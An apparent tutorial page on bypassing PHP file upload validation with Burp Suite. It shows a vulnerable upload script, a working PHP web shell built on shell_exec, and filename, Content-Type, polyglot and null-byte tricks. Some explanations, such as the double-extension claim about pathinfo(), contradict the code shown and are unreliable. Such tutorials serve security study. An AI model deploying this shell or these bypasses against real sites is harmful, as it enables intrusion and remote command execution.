Burp Suite can bypass file upload restrictions by exploiting common web application vulnerabilities in how files are validated and processed.

Let’s see this in action. Imagine a web application that allows users to upload profile pictures. The server is supposed to only accept JPEG and PNG files.

Here’s a simplified (and vulnerable) PHP script on the server-side:

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["profilePic"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["profilePic"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}

// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png") {
    echo "Sorry, only JPG and PNG files are allowed.";
    $uploadOk = 0;
}

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["profilePic"]["tmp_name"], $target_file)) {
        echo "The file ". htmlspecialchars( basename( $_FILES["profilePic"]["name"])). " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

The attacker’s goal is to upload a malicious script disguised as an image.

The Vulnerability

The script checks the file extension (.jpg, .png) and uses getimagesize() to verify if it’s an actual image. This seems robust, but it misses a crucial point: what if the file is an image but also contains executable code? Or what if the extension check is bypassed entirely?

Exploitation with Burp Suite

  1. Intercept the Request: Configure your browser to use Burp Suite as a proxy. Navigate to the upload page and select a legitimate image file (e.g., test.jpg). Submit the form and intercept the HTTP request in Burp’s Proxy tab.

  2. Craft a Malicious File: Create a file that looks like an image but contains a web shell. For example, a PHP web shell. Let’s call it shell.php.

    <?php echo "<h1>Hacked!</h1><form method='post' action=''><input type='text' name='cmd'><button type='submit'>Run</button></form>"; if(isset($_POST['cmd'])){ echo "<pre>".shell_exec($_POST['cmd'])."</pre>"; } ?>
    

    This simple PHP script displays a form where you can enter a command, executes it using shell_exec, and shows the output.

  3. Bypass Extension Check (Method 1: Double Extension):

    • Rename shell.php to shell.php.jpg.
    • In Burp, locate the Content-Disposition header. It will look something like:
      Content-Disposition: form-data; name="profilePic"; filename="shell.php.jpg"
      
    • Change the filename to shell.jpg.php.
      Content-Disposition: form-data; name="profilePic"; filename="shell.jpg.php"
      
    • The server-side script’s pathinfo() might interpret .jpg as the extension, allowing it past the initial check, but the actual filename processed by the web server could still be shell.jpg.php. If the server then executes this file based on its .php extension (which is common if it’s in a web-accessible directory), your shell is live.
    • Send the request.
  4. Bypass Extension Check (Method 2: Content-Type Manipulation):

    • The server might also check the Content-Type header. For a JPEG, it’s usually image/jpeg.
    • In Burp, find the Content-Type header for the file upload part of the request. It will look like:
      Content-Type: image/jpeg
      
    • Change the filename in Content-Disposition to shell.php and change the Content-Type to something else, like text/plain.
      Content-Disposition: form-data; name="profilePic"; filename="shell.php"
      Content-Type: text/plain
      
    • Send the request. If the server only relies on Content-Type and the extension check, this might fail. However, if the server is configured to execute any file in the upload directory that has a .php extension, and the getimagesize() check is bypassed or flawed, this could work. The key is that getimagesize() might still be called on tmp_name, but if the extension check is bypassed, the file could be saved as shell.php.
  5. Bypass getimagesize() (Method 3: Polyglot Files):

    • A polyglot file is a file that is valid in multiple formats. An image polyglot can be both a valid image (e.g., JPEG) and contain executable code (e.g., JavaScript or PHP).
    • Create a file that is a valid JPEG but also contains PHP code. This is complex and often involves embedding PHP code within the EXIF data or other metadata sections of the image, or using specific byte sequences.
    • Example (conceptual, actual creation is more involved): A file named shell.jpg that is a valid JPEG but its EXIF comments contain <?php phpinfo(); ?>.
    • Upload this shell.jpg. The getimagesize() check will pass because it’s a valid image. The extension check will pass.
    • However, the web server might be configured to parse PHP files even if they have an image extension if the Content-Type is manipulated or if the server’s configuration is weak (e.g., AddHandler application/x-httpd-php .jpg).
    • In Burp, intercept the request, and ensure the filename is shell.jpg and Content-Type is image/jpeg. Then, try to access http://vulnerable-site.com/uploads/shell.jpg directly. If the server executes the PHP within it, you’ve bypassed the checks.
  6. Bypass getimagesize() (Method 4: Null Byte Injection - Less Common Now):

    • Older PHP versions were vulnerable to null byte injection. If the server appended an extension like .jpg to a filename containing a null byte (%00), it might truncate the filename.
    • Rename your shell.php to shell.php%00.jpg.
    • In Burp, intercept the request. Change the filename in Content-Disposition to shell.php%00.jpg.
    • Send the request. If the server code is ... . basename($_FILES["profilePic"]["name"]), and it doesn’t properly sanitize the null byte, it might save the file as shell.php before the .jpg extension is considered.
    • This is largely patched in modern PHP.

The Mental Model

The core idea is that web applications often rely on multiple layers of validation for file uploads:

  1. Client-side validation: Easily bypassed by disabling JavaScript or using Burp.
  2. Filename extension check: Checks if the file ends with .jpg, .png, etc.
  3. MIME type check: Checks the Content-Type header sent by the browser.
  4. Content-based validation: Uses functions like getimagesize() or fileinfo() to inspect the actual file content.

Attackers aim to find a weakness in any of these layers, or exploit a combination where one layer’s success allows another’s failure. For example, if getimagesize() passes (it’s an image) and the extension check passes (.jpg), but the server also executes PHP files in the upload directory, uploading a file that is both a valid image and a PHP script (a polyglot) can lead to code execution. Or, as seen in Method 1, tricking the extension check into thinking it’s a .jpg while the actual saved filename is .php.

The most surprising thing is how often servers are configured to execute files based on their extension (.php, .asp, .jsp) regardless of their actual MIME type or whether they are valid images, if those files land in a web-accessible directory. This makes the "polyglot" or "double extension" attacks so potent – the server does the final step of execution for you.

The key levers you control are the filename in the Content-Disposition header and the Content-Type header within the multipart form data. You also control the actual bytes of the file being uploaded.

The next problem you’ll likely hit is dealing with servers that perform more robust content validation, like checking magic bytes or using more secure file processing libraries, which often requires more sophisticated file crafting.

Want structured learning?

Take the full Burpsuite course →